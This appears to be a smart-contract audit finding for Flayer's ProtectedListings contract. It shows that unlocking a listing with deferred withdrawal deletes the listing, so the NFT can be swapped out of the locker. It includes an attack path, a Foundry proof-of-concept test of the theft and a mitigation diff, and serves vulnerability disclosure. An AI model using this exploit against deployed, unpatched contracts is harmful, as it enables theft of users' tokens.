Joyous Onyx Grasshopper

High

# Attacker can steal a user's repaid protected listing if the buyer opts to withdraw their asset at another time

### Summary

A user has the option to indicate they wish to withdraw the token they have repaid at another time through the [_withdraw](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L287) parameter in `unlockProtectedListing`. If this is set to false, rather than the token being transferred to the user in the same call, the state variable [canWithdrawAsset](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L321C13-L321C29) is updated to indicate this user is eligible to withdraw this asset at another time. The problem arises because the listings object is deleted and therefore any user can redeem or swap for this token in the locker contract.

### Root Cause

The root cause is in how the protected listings objected is handled when unlocking a protected listing
1. The listing objected is deleted in [_protectedListings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L314C16-L314C34) when unlocking an asset
2. If the user indicated they wish to withdraw at another time, `canWithdrawAsset` is set to the user's address for that asset and remains in the locker contract
3. Anytime [isListing](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L438C14-L438C23) is called in the locker contract to check if the asset is listed it will return false because the listing object will no longer exist.
4. Because it is not recognized as a listing but still is held within the locker contract, it can be swapped and redeemed for.

### Internal pre-conditions

1. User has a valid protected listing they wish to unlock
2. Listing still has collateral and isnt eligible for liquidation
3. User is able to repay loan + fees accrued
4. They indicate `_withdraw` = false meaning they wish to withdraw at another time

### External pre-conditions

_No response_

### Attack Path

1. The buyer unlocks the asset and indicates they wish to withdraw at another time
2. Attacker sees the token in the locker without a listing a attached to it
3. Attacker takes a floor token and swaps it for the rarer token or burns the floor amount in collection tokens 
4. Attacker receives the buyers token before they are able to withdraw from the locker

### Impact

A buyer who wishes to unlock their asset can have it stolen and when they attempt to withdraw through [withdrawProtectedListing](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L341C14-L341C38) the transaction will revert as it will no longer be held by the locker.

### PoC

Add the following test to `ProtectedListings.t.sol` and run `forge test --match-path test/ProtectedListings.t.sol --match-test test_CanStealProtectedListing`

```Solidity
function test_CanStealProtectedListing(uint96 _tokensTaken) public {

        uint _tokenId = 0;
        uint _bobTokenId = 1;

        // Set the amount of tokens taken as variable
        vm.assume(_tokensTaken >= 0.1 ether);
        vm.assume(_tokensTaken <= 1 ether - protectedListings.KEEPER_REWARD());

        address payable _owner = users[0];
        address payable bob = users[1];

        // Capture the amount of ETH that the user starts with so that we can compute that
        // they receive a refund of unused `msg.value` when paying tax.
        uint startBalance = payable(_owner).balance;

        // Mint our tokens
        //We can assume that _owner token is rare 
        erc721a.mint(_owner, _tokenId);
        erc721a.mint(bob, _bobTokenId);

        // Create our listing
        vm.startPrank(_owner);
        erc721a.approve(address(protectedListings), _tokenId);
        _createProtectedListing({
            _listing: IProtectedListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: IProtectedListings.ProtectedListing({
                    owner: _owner,
                    tokenTaken: _tokensTaken,
                    checkpoint: 0
                })
            })
        });

        // Confirm the remaining collateral against the listing. We can safely cast the
        // `getListingCollateral` to a uint as we know it will be a positive number in this
        // test case.
        uint expectedCollateral = 1 ether - protectedListings.KEEPER_REWARD() - _tokensTaken;
        assertEq(uint(protectedListings.getProtectedListingHealth(address(erc721a), _tokenId)), expectedCollateral);

        // Approve the ERC20 token to be used by the listings contract to cancel the listing
        locker.collectionToken(address(erc721a)).approve(address(protectedListings), _tokensTaken);

        // Confirm that the user has paid no taxes yet from their ETH balance
        assertEq(payable(_owner).balance, startBalance, 'Incorrect startBalance');

        // Confirm that the ERC20 is held by the user from creating the listing
        assertEq(
            locker.collectionToken(address(erc721a)).balanceOf(_owner),
            _tokensTaken,
            'Incorrect owner collectionToken balance before unlock'
        );

        // Confirm that the expected event is fired
        vm.expectEmit();
        emit ProtectedListings.ListingUnlocked(address(erc721a), _tokenId, _tokensTaken);

        // We can now unlock our listing. As we have done this in a single transaction,
        // the amount of tax being paid won't have increased and should there for just
        // be the amount of loan that we took out.
       // set _withdraw as false to indicate we dont want to withdraw straight away
        protectedListings.unlockProtectedListing(address(erc721a), _tokenId, false);

        vm.stopPrank();

        vm.startPrank(bob);

        //Bob sees the token in the locker contract and swaps it with his
        erc721a.approve(address(locker), _bobTokenId);
        locker.swap(address(erc721a), _bobTokenId, _tokenId);
        assertEq(erc721a.ownerOf(_tokenId), address(bob));

        vm.stopPrank();
    }
```

### Mitigation

I recommend not deleting the listing object until the user has withdrawn their asset when they indicate _withdraw = false. If _withdraw = true then delete the listing right away.

```diff
       if (_withdraw) {
            locker.withdrawToken(_collection, _tokenId, msg.sender);
            emit ListingAssetWithdraw(_collection, _tokenId);
+          delete _protectedListings[_collection][_tokenId];
        } else {
            canWithdrawAsset[_collection][_tokenId] = msg.sender;
        }
```
```diff
    function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
        // Ensure that the asset has been marked as withdrawable
        address _owner = canWithdrawAsset[_collection][_tokenId];
        if (_owner != msg.sender) revert CallerIsNotOwner(_owner);

        // Mark the asset as withdrawn
        delete canWithdrawAsset[_collection][_tokenId];
+      delete _protectedListings[_collection][_tokenId];

        // Transfer the asset to the user
        locker.withdrawToken(_collection, _tokenId, msg.sender);
        emit ListingAssetWithdraw(_collection, _tokenId);
    }
```